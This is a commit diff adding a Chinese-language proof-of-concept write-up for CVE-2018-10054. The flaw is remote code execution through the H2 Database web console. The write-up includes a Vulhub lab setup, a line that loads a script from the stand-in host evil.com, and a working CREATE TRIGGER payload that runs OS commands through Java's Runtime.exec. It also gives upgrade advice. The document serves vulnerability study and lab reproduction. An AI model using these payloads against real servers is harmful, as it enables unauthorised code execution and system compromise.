mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 02:37:58 +00:00
update CVE-2018-10054
This commit is contained in:
parent
37672f14c5
commit
57ec6ea48b
71
数据库漏洞/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054.md
Normal file
71
数据库漏洞/H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054.md
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
# H2 Database Web Console 认证远程代码执行漏洞 CVE-2018-10054
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
H2 Database 是一个快速、开源的基于 Java 的关系型数据库管理系统(RDBMS),可用于嵌入式(集成在 Java 应用中)或客户端-服务器模式中。
|
||||||
|
|
||||||
|
当 Spring Boot 集成 H2 Database 时,如果设置如下选项,将会启用一个 Web 管理页面:
|
||||||
|
|
||||||
|
```
|
||||||
|
spring.h2.console.enabled=true
|
||||||
|
spring.h2.console.settings.web-allow-others=true
|
||||||
|
```
|
||||||
|
|
||||||
|
在 1.4.198 之前的 H2 Database 版本中,任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问 Web 管理页面。认证通过后,攻击者可以通过以下命令之一执行任意代码:
|
||||||
|
|
||||||
|
- `RUNSCRIPT FROM 'http://evil.com/script.sql'`
|
||||||
|
- `CREATE ALIAS func AS code...; CALL func ...`
|
||||||
|
- `CREATE TRIGGER ... AS code...`
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
|
||||||
|
- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
|
||||||
|
- https://www.exploit-db.com/exploits/45506
|
||||||
|
- [h2database/h2database#1225](https://github.com/h2database/h2database/issues/1225)
|
||||||
|
- [h2database/h2database#1580](https://github.com/h2database/h2database/pull/1580)
|
||||||
|
- [h2database/h2database#1726](https://github.com/h2database/h2database/pull/1726)
|
||||||
|
|
||||||
|
## 漏洞影响
|
||||||
|
|
||||||
|
```
|
||||||
|
H2 Console < 1.4.198
|
||||||
|
```
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
Vulhub 执行如下命令启动一个集成了 H2 Database 1.4.197 版本的 Spring Boot:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
容器启动后,Spring Boot 服务监听在 `http://your-ip:8080`,H2 管理页面默认地址为 `http://your-ip:8080/h2-console/`。
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
首先,通过连接内存数据库登录 H2 Web 控制台:
|
||||||
|
|
||||||
|
```
|
||||||
|
jdbc:h2:mem:test
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后,执行如下命令以执行 `id` 命令:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
|
||||||
|
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
|
||||||
|
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
|
||||||
|
throw new java.lang.Exception(scanner.next())
|
||||||
|
$$;
|
||||||
|
```
|
||||||
|
|
||||||
|
可见,`id` 命令被成功执行,结果以异常的形式被抛出:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
升级至最新版本: https://github.com/h2database/h2database/releases/
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 759 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 146 KiB |
Loading…
x
Reference in New Issue
Block a user